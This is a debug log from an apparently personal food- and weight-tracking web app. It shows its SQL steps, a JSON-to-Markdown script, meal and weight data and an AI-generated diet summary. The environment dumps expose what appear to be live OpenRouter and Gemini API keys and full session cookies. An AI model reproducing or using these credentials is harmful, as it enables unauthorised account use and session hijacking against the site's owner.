    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T05:09:35.985Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '\n'
2025-12-18T05:09:35.985Z server-connect:app Executing action step run
2025-12-18T05:09:35.985Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T05:09:35.986Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T05:09:35.986Z server-connect:app Executing action step setvalue
2025-12-18T05:09:35.986Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-18T05:09:35.986Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T05:09:35.986Z server-connect:app Executing action step processWithGemini
2025-12-18T05:09:35.986Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-18T05:09:37.106Z server-connect:output health_summary: {
  summary: "Today's intake appears to be quite limited, with a focus on a snack and a protein supplement. While the protein supplement is beneficial for muscle development, the overall meal composition lacks variety and essential nutrients. Consistent adherence to a balanced diet is crucial for achieving your goals.",
  rating: 4,
  good_points: [ 'Inclusion of whey protein to support muscle development.' ],
  bad_points: [
    'Limited food variety for the day.',
    'Lack of substantial meals to provide sustained energy.',
    'Potential for insufficient micronutrient intake due to restricted food choices.'
  ],
  suggestions: [
    'Incorporate a balanced breakfast with complex carbohydrates and protein.',
    'Add a source of healthy fats and fiber to your meals.',
    'Ensure adequate hydration throughout the day.',
    'Consider adding more whole foods like vegetables and fruits to your diet.'
  ],
  predicted_weight_trend: 'Slight downward trend with potential for stabilization.',
  predicted_weight: 70.05
}
2025-12-18T05:09:37.106Z server-connect:app Executing action step condition
2025-12-18T05:09:37.106Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-18T05:09:37.106Z server-connect:app Executing action step delete
2025-12-18T05:09:37.106Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-18T05:09:37.108Z server-connect:output delete: { affected: 1 }
2025-12-18T05:09:37.108Z server-connect:app Executing action step insert
2025-12-18T05:09:37.108Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-18T05:09:37.109Z server-connect:output insert: { affected: 1, identity: 32 }
2025-12-18T05:09:37.109Z server-connect:output condition: undefined
2025-12-18T05:09:37.328Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T05:09:37.328Z server-connect:app Executing action step identify
2025-12-18T05:09:37.328Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:37.328Z server-connect:output identity: 1
2025-12-18T05:09:37.328Z server-connect:app Executing action step restrict
2025-12-18T05:09:37.328Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:37.328Z server-connect:output restrict: undefined
2025-12-18T05:09:37.328Z server-connect:app Executing action step single
2025-12-18T05:09:37.328Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T05:09:37.329Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "Today's intake appears to be quite limited, with a focus on a snack and a protein supplement. While the protein supplement is beneficial for muscle development, the overall meal composition lacks variety and essential nutrients. Consistent adherence to a balanced diet is crucial for achieving your goals.",
    bad_points: [
      'Limited food variety for the day.',
      'Lack of substantial meals to provide sustained energy.',
      'Potential for insufficient micronutrient intake due to restricted food choices.'
    ],
    good_points: [ 'Inclusion of whey protein to support muscle development.' ],
    suggestions: [
      'Incorporate a balanced breakfast with complex carbohydrates and protein.',
      'Add a source of healthy fats and fiber to your meals.',
      'Ensure adequate hydration throughout the day.',
      'Consider adding more whole foods like vegetables and fruits to your diet.'
    ],
    predicted_weight: 70.05,
    predicted_weight_trend: 'Slight downward trend with potential for stabilization.'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T05:09:44.348Z server-connect:router Serving templateView /weight-trackor
2025-12-18T05:09:44.348Z server-connect:app Executing action step identify
2025-12-18T05:09:44.348Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:44.349Z server-connect:output identity: 1
2025-12-18T05:09:44.349Z server-connect:app Executing action step restrict
2025-12-18T05:09:44.349Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T05:09:44.349Z server-connect:output restrict: undefined
2025-12-18T05:09:44.349Z server-connect:router Render template weight-trackor
2025-12-18T05:09:44.349Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-18T05:09:44.554Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-18T05:09:44.554Z server-connect:app Executing action step identify
2025-12-18T05:09:44.554Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:44.555Z server-connect:output identity: 1
2025-12-18T05:09:44.555Z server-connect:app Executing action step restrict
2025-12-18T05:09:44.555Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:44.556Z server-connect:output restrict: undefined
2025-12-18T05:09:44.556Z server-connect:app Executing action step custom
2025-12-18T05:09:44.556Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-18T05:09:44.557Z server-connect:output list: [
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-18T05:09:54.100Z server-connect:router Serving serverConnect /api/health/manage-weight
2025-12-18T05:09:54.100Z server-connect:app Executing action step identify
2025-12-18T05:09:54.100Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:54.101Z server-connect:output identity: 1
2025-12-18T05:09:54.101Z server-connect:app Executing action step restrict
2025-12-18T05:09:54.101Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:54.101Z server-connect:output restrict: undefined
2025-12-18T05:09:54.101Z server-connect:app Executing action step insert
2025-12-18T05:09:54.101Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'health_weight_trackor',
    query: 'insert into `health_weight_trackor` (`created_by`, `created_on`, `date`, `weight`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2025-12-18T05:09:54.102Z server-connect:output weight_log: { affected: 1, identity: 14 }
2025-12-18T05:09:54.305Z server-connect:router Serving templateView /weight-trackor
2025-12-18T05:09:54.305Z server-connect:app Executing action step identify
2025-12-18T05:09:54.305Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:54.305Z server-connect:output identity: 1
2025-12-18T05:09:54.305Z server-connect:app Executing action step restrict
2025-12-18T05:09:54.305Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T05:09:54.306Z server-connect:output restrict: undefined
2025-12-18T05:09:54.306Z server-connect:router Render template layouts/main
2025-12-18T05:09:54.306Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/weight-trackor'
}
2025-12-18T05:09:54.311Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-18T05:09:54.311Z server-connect:app Executing action step identify
2025-12-18T05:09:54.311Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:54.311Z server-connect:output identity: 1
2025-12-18T05:09:54.311Z server-connect:app Executing action step restrict
2025-12-18T05:09:54.311Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:54.312Z server-connect:output restrict: undefined
2025-12-18T05:09:54.312Z server-connect:app Executing action step custom
2025-12-18T05:09:54.312Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-18T05:09:54.312Z server-connect:output list: [
  { date: 2025-12-17T18:30:00.000Z, weight: '7030.00' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-18T05:09:54.511Z server-connect:app Executing action step identify
2025-12-18T05:09:54.511Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:54.511Z server-connect:output identity: 1
2025-12-18T05:09:54.793Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T05:09:54.794Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T05:09:54.794Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-18T05:09:54.795Z server-connect:app Executing action step identify
2025-12-18T05:09:54.795Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:54.795Z server-connect:output identity: 1
2025-12-18T05:09:54.795Z server-connect:app Executing action step restrict
2025-12-18T05:09:54.795Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:54.796Z server-connect:output restrict: undefined
2025-12-18T05:09:54.796Z server-connect:app Executing action step select
2025-12-18T05:09:54.796Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T05:09:54.796Z server-connect:app Executing action step identify
2025-12-18T05:09:54.796Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:54.796Z server-connect:output identity: 1
2025-12-18T05:09:54.796Z server-connect:app Executing action step restrict
2025-12-18T05:09:54.796Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:54.797Z server-connect:app Executing action step identify
2025-12-18T05:09:54.797Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:54.797Z server-connect:output identity: 1
2025-12-18T05:09:54.797Z server-connect:app Executing action step restrict
2025-12-18T05:09:54.797Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:54.797Z server-connect:output restrict: undefined
2025-12-18T05:09:54.797Z server-connect:app Executing action step single
2025-12-18T05:09:54.797Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T05:09:54.798Z server-connect:output list: [
